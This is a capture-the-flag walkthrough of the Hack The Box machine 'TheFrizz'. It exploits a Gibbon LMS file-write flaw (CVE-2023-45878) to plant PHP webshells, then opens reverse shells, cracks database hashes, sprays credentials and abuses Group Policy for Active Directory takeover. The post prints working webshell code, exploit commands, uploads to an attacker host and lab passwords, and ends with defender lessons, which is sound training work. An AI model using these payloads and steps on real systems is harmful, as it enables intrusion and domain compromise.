TheFrizz
2025-03-15
INTRODUCTION
TheFrizz was released for week 10 of HTB’s Season 7 Vice. In my opinion, it was really challenging. This one takes lots of twists and turns, but is totally doable. However, like the Magic School Bus, if you push through it and focus on learning, it will definitely teach you a few things.
Recon is pretty simple. Some nmap scanning is all that you need to identify the web app you’re dealing with. While I did some subdomain scans to make sure this was the only target, the majority of my recon time should be spent on vulnerability research.
Foothold is a party. Actually, I was having so much fun messing around with one of the vulnerabilities that I used it as an opportunity to improve one of my old tools, and create two more after that 😂 As long as you’ve done your recon right, and stick to the vulnerabilities you’ve discovered, foothold should be straightforward.
The user flag was where things start to get a little spicy. If you’re not familiar with interacting with Kerberos directly from Linux, well… you will be soon! Getting the user flag also involves attacking a database: lots of options on this step, but I chose to extend my approach from foothold.
The root flag was, at least for me, very difficult. It required some good enumeration skills, a solid understanding of Active Directory, and proper, up-to-date tools. Each one of those aspects presents a special challenge for root.
Despite the low rating, I would definitely recommend this box that wants an excellent crash-course on Kerberos.

RECON
nmap scans
Port scan
I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49670/tcp open unknown
51345/tcp open unknown
59057/tcp open unknown
59066/tcp open unknown
Looks like all the typical suspects for Active Directory.
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-16 03:25:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
51345/tcp open msrpc Microsoft Windows RPC
59057/tcp open msrpc Microsoft Windows RPC
59066/tcp open msrpc Microsoft Windows RPC
Note the redirect to http://frizzdc.frizz.htb/home/
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No relevant results.
UDP scan
To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-16 03:32:03Z)
123/udp open ntp NTP v3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Note that any
open|filteredports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the nmap scan, I’ll add frizz.htb and frizzdc.frizz.htb.htb to my /etc/hosts and do banner-grabbing for the web server:
DOMAIN=frizz.htb
echo -e "$RADDR\tfrizzdc.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
teeinstead of the append operator>>so that I don’t accidentally blow away my/etc/hostsfile with a typo of>when I meant to write>>.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

(Sub)domain enumeration
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No new results.
Next I’ll check for other subdomains of frizz.htb:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that either.
Directory enumeration
The only web app we’ve found is Gibbon LMS, which is open source and surprisingly well documented. As such, I’ll skip directory enumeration on this one.
Exploring the Website
Next I’ll browse the target website manually a little.
The target looks like it’s an LMS for Walkerville Elementary School (the school from the classic children’s show, Magic School Bus)

Now, in ZAP, I’ll add the target frizz.htb and all of its subdomains to the Default Context proceed to “Spider” the website (actively build a sitemap by following all of the links and references to other pages). The resulting sitemap was very large, but lined up perfectly with what we’d expect from Gibbon LMS.
There appears to be an encoded message (maybe a hint?) on the index page…

This base64 doesn’t decode to anything interesting:

Clicking the Staff Login button brings us to the login page for Gibbon LMS, which has a typical login form and a message banner.
The message in the banner gives us some hints:
NOTICE Due to unplanned Pentesting by students, WES is migrating applications and tools to stronger security protocols. During this transition, Ms. Fiona Frizzle will be migrating Gibbon to utilize our Azure Active Directory SSO. Please note this might take 48 hours where your accounts will not be available. Please bear with us, and thank you for your patience. Anything that can not utilize Azure AD will use the strongest available protocols such as Kerberos.
- It’s likely that there is a username like
fionaorffrizzleorf.frizzle - Fiona must have Administrator access to Gibbon LMS: check out the Gibbon documentation for detail. Basically, she just needs to add an Azure API key.
- Kerberos is probably being used for login - so the usernames for the LMS might be usernames for the target host too.
Vulnerability Research
Since we have an exact version for Gibbon CMS (25.0.0), I’ll look around for some recent CVEs. I found these:
- Authenticated RCE - CVE-2024-24725. Versions earlier than
26.0.0. Looks like a PHP deserialization exploit LINK - Unauthenticated Arbitrary File Write - CVE-2023-45878. Versions
25.0.1and earlier. LINK
I don’t have any credentials yet, so I’ll focus on the arbitrary file write.
Arbitrary File Write
Earlier, I found a vulnerability that looks particularly useful. It’s often that new major versions (like 25.0.0) have large bugs or regressions, and this is no exception:
- Arbitrary File Write - CVE-2023-45878. Versions
25.0.1and earlier. LINK
Lets try to use this to write a webshell. I’ll start with one that I keep on-hand:
<?php
echo "<h3>4wayhandshake Webshell</h3>";
if(isset($_REQUEST['cmd'])){
$cmd = $_REQUEST['cmd'];
echo "<pre>$cmd</pre><hr/><pre>";
$output = system($_REQUEST['cmd'], $retval);
echo "</pre>";
}
else{
echo "Please enter a command, or use the \"cmd\" parameter (GET or POST)";
echo '<form method="POST" action="#"><input type="text" name="cmd" placeholder="Enter command" autofocus></form>';
}
?>
This vulnerability is due to indescriminately decoding base64 and writing it to a file, therefore the payload must be base64-encoded. Also, it needs to seem like a base64-encoded image, so we will use image/png just like the PoC in the article:
cat webshell.php | base64 -w 0 > base64_webshell
echo "image/png;asdfqwer,$(cat base64_webshell)" > payload.b64
Great, now we can try sending it:
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat payload.b64)&path=asdfqwer.php&gibbonPersonID=0000000001"
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer.php'
Hmm… my attempts at this are leading to the same error. I get this when I try to write the webshell:
<h1 class="mt-6 pt-1"> Oh no!</h1>
<p>
Something has gone wrong: the Gibbons have escaped!<br/><br/>
An error has occurred. This could mean a number of different things, but generally indicates that you have a misspelt address, or are trying to access a page that you are not permitted to access. If you cannot solve this problem by retyping the address, or through other means, please contact your system administrator.<br/>
</p>
🤦♂️ Oh, duh! I made a silly mistake; check out the payload.b64:
image/png;asdfqwer,PD9waHAKZWNobyAiPGgzPjR3YXloYW5kc2hha2UgV2Vic2hlbGw8L2gzPiI7CmlmKGlzc2V0KCRfUkVRVUVTVFsnY21kJ10pKXsKICAgICRjbWQgPSAkX1JFUVVFU1RbJ2NtZCddOwogICAgZWNobyAiPHByZT4kY21kPC9wcmU+PGhyLz48cHJlPiI7CiAgICAkb3V0cHV0ID0gc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10sICRyZXR2YWwpOwogICAgZWNobyAiPC9wcmU+IjsKfQplbHNlewogICAgZWNobyAiUGxlYXNlIGVudGVyIGEgY29tbWFuZCwgb3IgdXNlIHRoZSBcImNtZFwiIHBhcmFtZXRlciAoR0VUIG9yIFBPU1QpIjsKICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIjIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBwbGFjZWhvbGRlcj0iRW50ZXIgY29tbWFuZCIgYXV0b2ZvY3VzPjwvZm9ybT4nOwp9Cj8+Cg==
Some of those characters are not url-encoded. Let’s try again (see here for my url-encoding tool):
url_encode "$(cat payload.b64)" > url_encoded.b64
The path and gibbonPersonID don’t need url-encoding, so let’s try again:
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat url_encoded.b64)&path=asdfqwer.php&gibbonPersonID=0000000001"
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer.php'

It worked! 😁
Next, I might try to pop a reverse shell, so I’ll need a more advanced webshell to achieve that. But first, let’s just check what users are on the target. Since we suspect that Gibbon LMS is using Kerberos, it’s likely that the Gibbon LMS users are a subset of these:

Nice! One of my guesses from earlier was correct: f.frizzle. She probably has admin access to the dashboard, since she’s doing the migration to Azure SSO.
Improving the webshell
To allow me to freely use special characters within the commands sent to my webshell, I wrote a new version:
I’ve made a small repository for this webshell + client - please feel free to clone and use ❤️
<?php
echo "<h3>4wayhandshake Webshell</h3>";
if(isset($_REQUEST['cmd'])){
$cmd = strrev(base64_decode(urldecode(base64_decode(urldecode($_REQUEST['cmd'])))));
echo "<pre>$cmd</pre><hr/><pre>";
$output = system($cmd, $retval);
echo "</pre>";
}
else{
echo "Please interact using the client script.";
}
?>
Once again, I will encode and upload the webshell:
I’m giving the webshells unique numbers as a “cache-busting” measure (just in case!)
NUM=$(randint); cat sneaky-webshell.php | base64 -w 0 > sneaky.b64
echo "image/png;asdfqwer,$(cat sneaky.b64)" > sneakypayload.b64
url_encode "$(cat sneakypayload.b64)" > sneakyurlencoded.b64
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat sneakyurlencoded.b64)&path=asdfqwer$NUM.php&gibbonPersonID=0000000001"
python3 sneaky-webshell-client.py "http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer$NUM.php"
It appears to work perfectly!

Reverse Shell
Even then, though, the cleanup script was getting a little annoying. To avoid having to reset my webshell, I’ll open a reverse shell instead.
sudo ufw allow from $RADDR to any port 4444
bash
rlwrap nc -lvnp 4444
The payload has changed now, so I’ll repeat the file write:
MYSCRIPT=./revshell.php; NUM=$(randint);
cat "$MYSCRIPT" | base64 -w 0 > script.b64
echo "image/png;asdfqwer,$(cat script.b64)" > scriptpayload.b64
url_encode "$(cat scriptpayload.b64)" > payloadurlencoded.b64
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat payloadurlencoded.b64)&path=asdfqwer$NUM.php&gibbonPersonID=0000000001"
echo -e "\nWritten script available at: http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer$NUM.php\n"
Right after navigating to the script’s path, the reverse shell opens perfectly:

Unfortunately, w.webservice doesn’t have any home directory and can’t really access anything outside of the web root. However, there are lots of useful scripts within the web root to look at.

The main configuration script is probably config.php. Indeed, inside there are some database credentials!
// ...
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
// ...
That will certainly be useful. Since the webapp can interact with the database, I should be able to write a new PHP script to utilize these credentials 🤔
MySQL via Webshell
Instead of traditional database enumeration, I’ll find out exactly where to look for passwords by reading the passwordResetProcess.php script.
Here’s an excerpt from “stage 2”, after the password reset token and ID are accepted and the new password is being written into the database:
//Update password
$salt = getSalt();
$passwordStrong = hash('sha256', $salt.$passwordNew);
try {
$data = array('passwordStrong' => $passwordStrong, 'salt' => $salt, 'gibbonPersonID' => $gibbonPersonID);
$sql = "UPDATE gibbonPerson SET passwordStrong=:passwordStrong, passwordStrongSalt=:salt, passwordForceReset='N', failCount=0 WHERE gibbonPersonID=:gibbonPersonID";
$result = $connection2->prepare($sql);
$result->execute($data);
} catch (PDOException $e) {
header("Location: {$URL->withReturn('error2')}");
exit();
}
Elsewhere in the same file, we can see the notable fields are username and gibbonPersonID.
I made a php script for playing with the database, called dbshell.php. Lucky for you, the reader, I have published a repo with this script - check out my PHP-MySQL-webshell repo 🤗 (screenshot below)
git clone https://github.com/4wayhandshake/PHP-MySQL-webshell.git
vim dbshell.php # Paste in the hardcoded credentials
We can upload it just like the other scripts:
MYSCRIPT=./dbshell.php;
cat "$MYSCRIPT" | base64 -w 0 > script.b64
echo "image/png;asdfqwer,$(cat script.b64)" > scriptpayload.b64
url_encode "$(cat scriptpayload.b64)" > payloadurlencoded.b64
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat payloadurlencoded.b64)&path=dbshell.php&gibbonPersonID=0000000001"
echo -e "\nWritten script available at: http://frizzdc.frizz.htb/Gibbon-LMS/dbshell.php\n"
We already know the exact fields and table to query, so let’s try it out!

👏 Perfect! Let’s see if they can be cracked. I already know they are SHA256, but I’m not sure what hashcat mode this would correspond to… I’ll put the password hash and salt into a file (separated by a colon) and run it through name-that-hash:

Mode 1400 is shown as most likely, but I don’t believe that - our hash uses a salt and mode 1400 is for raw, unsalted SHA256. Mode 1420 shows up a lot for the salted SHA256 variants, so I’ll try that one.
hashcat -m 1420 db.hash /usr/share/wordlists/rockyou.txt

Nice! We’ve cracked a hash: f.frizzle : Jenni_Luvs_Magic23
Credential reuse
Gibbon LMS?
Yup! it works fine.

SSH?
❌ Nope. f.frizzle@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).
WinRM?

This might be due to Kerberos. If we’re using Kerberos, we need to grab a TGT from the Kerberos KDC.
WinRM & Kerberos
To authenticate with Kerberos, we need two things:
- The TGT for our target user (consider
kinitorimpacket-getTGT) - The Kerberos configuration file:
XXX_krb5.conf
1. Getting the TGT
impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'

Kerberos and Clock Skew
⚠️ The
KRB_AP_ERR_SKEW(Clock skew too great)error happens because Kerberos relies on clocks being synchronized.We have two good options:
- Change our clock for a while (
rdatemethod)- Change our clock for one command (
faketimemethod)rdate method
We need to disable NTP and set the date to the target’s using
rdatesudo timedatectl set-ntp off sudo rdate -n $RADDR impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'When we’re done, we can re-enable automatic date/time:
sudo timedatectl set-ntp onfaketime method
We need to calculate the clock skew, then use
faketimeto undo the skew:rdate -np $RADDR # shows the target is 7h ahead of me faketime -f '+7h' impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'
I’ll use faketime, so that I don’t need to remember to reset my clock 🤡
# Check the time of the target
rdate -np $RADDR
# Result shows the target is 7h ahead of me
faketime -f '+7h' impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'

Custom krb5.conf file
Next, we need to tell Kerberos where to look for the KDC. We do this by creating a custom configuration file for just this target. All we really need to know is the domain controller hostname and the domain.
This guide from
0xBENis incredible. Highly recommend you reference it 👍
Create a new file (within project directory) called custom_krb5.conf:
[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
}
[domain_realm]
frizz.htb = FRIZZ.HTB
.frizz.htb = FRIZZ.HTB
Finally Authenticating
We have now met both requirements for Kerberos authentication using WinRM:
- The TGT for our target user (used
impacket-getTGTto dumpf.frizzle.ccache) - The Kerberos configuration file (used
vimto writecustom_krb5.conf)
Finally, we can attempt to log in. Note that the -r argument should align with the [realms] key from the config file:
export KRB5CCNAME=f.frizzle.ccache;
export KRB5_CONFIG="$PWD/custom_krb5.conf";
faketime -f '+7h' evil-winrm -i frizzdc.frizz.htb -u f.frizzle -p Jenni_Luvs_Magic23 -r FRIZZ.HTB
⚠️ You must use the hostname for the
-iargument when authenticating via Kerberos. If not, you will get another cryptic error:Server not found in Kerberos database.I found this walkthrough (halfway down the page) to be helpful for finally noticing the hostname vs. IP address issue.

Finally! We have a proper way to connect to the target 👏
It looks like f.frizzle holds the user flag, so go ahead and read it:
type C:\Users\f.frizzle\Desktop\user.txt
ROOT FLAG
Bloodhound
See my walkthrough EscapeTwo for more detail
Ran rusthound-ce to gather data
rusthound-ce -d 'frizz.htb' -u f.frizzle -p Jenni_Luvs_Magic23 -z
This resulted in 20250317021938_frizz-htb_rusthound-ce.zip
Now we download the Bloodhound-CE docker compose file from their Github Repo: https://github.com/SpecterOps/BloodHound/blob/main/examples/docker-compose/docker-compose.yml.
Change directory to be adjacent to the docker-compose.yml file, then bring up the stack:
docker compose up
The startup script should display the password:

Navigate to http://localhost:8080 to access the web interface. Use the username admin with the initial password. You will be forced to reset the password, so I used Bloodhound123!
To import your data, go to http://localhost:8080/ui/administration/file-ingest and click the Upload Files button. Select the 20250317021938_frizz-htb_rusthound-ce.zip file that rusthound produced, and upload it.
Looks like v.fizzle is probably the right choice. But that’s just a guess based on the inbound object control of f.frizzle:

However, m.schoolbus also looks like a solid choice. They uniquely have the ability to write GPOs. Seems like that could lead to privesc, once I have credentials for m.schoolbus 🤔

Local enumeration - f.frizzle
Often, Windows boxes are simply too large of an attack surface to do proper manual enumeration for privesc; there’s just too much “noise”.
However, one thing I do like to do manually is check around the filesystem a bit. Usually, I’ll check these places:
- The user’s home directory
Desktop,Documents,DownloadsAppData\Local- Check
Tempfor anything suspicious - Look for programs with saved settings/data that might be useful
- Check
- Program Files (both of them)
- Look for programs that seem odd, or out of place.
- The web root
- Look for
C:\wamp,C:\xamp, orC:\inetpub\wwwroot
- Look for
- The recycle bin (special directory)
C:\$RECYCLE.BIN
😮 Checklist successful! There’s something in the recycle bin.
Restoring recycle bin
Thankfully, I’ve made the perfect tool for handling this - check out the
Unrecycle.ps1script in my powershell-scripts repo
cd C:\Users\f.frizzle\AppData\Local\Temp
(New-Object Net.WebClient).DownloadFile("http://10.10.14.12/Unrecycle.ps1", "C:\Users\f.frizzle\AppData\Local\Temp\Unrecycle.ps1")

Very interesting… Some kind of backup file for wapt 👀
waptis like a Windows version ofapt(the installer in debian-based distros)
Let’s try to restore the item:

Very odd. It uses nonstandard verbs. Perhaps the box creator is on a different locale? Regardless, we’ve restored the item. I’ll send it to my attacker host over http:
curl -F 'file=@.\wapt-backup-sunday.7z' http://10.10.14.12:8000
wapt backup
It’s just a 7z archive, so we can extract it normally:
7z x wapt-backup-sunday.7z
The contents are surprisingly large. But inside, there’s a conf and db directories that might be interesting

Aha! Inside conf, there is the main config file, waptserver.ini:

looks like a password: !suBcig@MehTed!R
Credential spraying
But who’s it for? I’ll spray it at all users (originally checked using net users) and see if any work:
while read -r USR; do faketime -f '+7h' impacket-getTGT -dc-ip $RADDR "frizz.htb/$USR"':!suBcig@MehTed!R'; done < users.lst

Alright - it’s the password for m.schoolbus! m.schoolbus : !suBcig@MehTed!R
That’s perfect, since earlier with Bloodhound we identified that m.schoolbus has some unique and interesting GPO-creation permissions 🎉
export KRB5_CONFIG="$PWD/custom_krb5.conf"
kinit m.schoolbus # prompted for the password
klist # Shows that m.schoolbus is the new default
ssh -K m.schoolbus@frizz.htb

Bloodhound again
Now that I have new credentials, I’m going to try doing another Bloodhound collection. This time, however, I’ll use SharpHound.exe.

Ok, let’s run it. Important to use -c all option. Here’s a nice article on using Sharphound, if you’re unfamiliar (I was 🤷♂️)
.\SharpHound.exe -c All --collectallproperties
🙂 The Happy Graphing! message indicates success. There should be a .zip of the collected data, so let’s exfil it.

Finally, we are able to see the PE vector clearly in front of us:

GPO Abuse
Looking through Hacktricks on AD privesc, I found that GPO abuse can be done using SharpGPOAbuse, available as a C# project from this repo.
However, since I don’t have any dotnet build environment on my attacker host, I’ve downloaded a precompiled copy from this repo instead. I’ll serve it to the target:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.12:8000/SharpGPOAbuse.exe", "C:\Users\M.SchoolBus\AppData\Local\Temp\SharpGPOAbuse.exe")
Strategy
The main SharpGPOAbuse repo provides instructions on different ways we can utilize it. The most promising way for us to run a single (elevated) command seems to be scheduling an immediate task using --AddComputerTask.
But first we need to create a vulnerable GPO. Thankfully, Hacktricks shows us how to do that.
But first, we need an OU to link it to. What OUs are there?

The two orange icon ones are OUs. So… go with DOMAIN CONTROLLERS, right?
New-GPO -Name "Evil GPO"
New-GPLink -Name "Evil GPO" -Target "OU=DOMAIN CONTROLLERS,DC=frizz,DC=htb"

Great, now following the directions from SharpGPOAbuse Github repo, we can scheduling an immediate task using --AddComputerTask. Dealer’s choice for what the “task” should be - I’ll go with a reverse shell:
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AdminRevShell" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -e JABjAGwAaQBlAG...zAGUAKAApAA==" --GPOName "Evil GPO"
☝️ This payload is the Powershell base64 reverse shell from https://www.revshells.com/

Looks like it worked, but it says we have to wait for the GPO refresh cycle. Hacktricks also mentioned this, and showed how we can force an update:
gpupdate /force

After a few seconds, the reverse shell opens!

😹 Yes! It worked. The flag is where it normally is:
type C:\Users\Administrator\Desktop\root.txt
I am so happy to be done this one - Active Directory really pushes my limits 😫
CLEANUP
Target
I’ll get rid of my tools that I had on the target, C:\Users\m.schoolbus\AppData\Local\Temp:
del C:\Users\m.schoolbus\AppData\Local\Temp\*
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm loot/20250317021938_frizz-htb_rusthound-ce.zip loot/wapt-backup-sunday.7z
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
- #️⃣ Use your own judgement with hash modes. This box was one very rare example where I had to disagree with
name-that-hash. It usually does a good job, but if you have solid evidence that it’s making the wrong call… you might be right! - 🐺 Kerberos isn’t just for Windows. It’s no problem to authenticate to Kerberos from your kali box. Unfortunately, the steps are very poorly documented, if at all. It’s a good thing that people like 0xBEN have written high-quality articles on how to make it work.
- 🐺 Lots of great tools use kerberos already. A lot of the “greatest hits” of not only hacking, but Linux administration in general, support kerberos authentication. Tools like SSH, WinRM, SCP, LDAP… The list goes on!

Defender
🥅 Use fine-grained access control. On this box, the web server failed to protect against a pretty simple file upload vulnerability. What could they have done better? Since Gibbon LMS runs on PHP, a good start would have been to lock down the app’s service account’s permissions so that it can’t run PHP out of any location that it can also write a file to (maybe students can upload assignments? Maybe teachers can have profile pics? There are many good reasons to still have file uploads on an LMS). A total separation of uploadable folders and runnable code may have helped.
🚷 Extra permissions to non-administrators? No!. Maybe there was a good reason to do so, I don’t work for Walkerville Elementary so I wouldn’t know, but why did
m.schoolbushave the ability to change GPO Links? Why would any non-administrator have that permission? Active Directory is seemingly pretty insane to make airtight, so be kind to yourself and keep things simple.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake
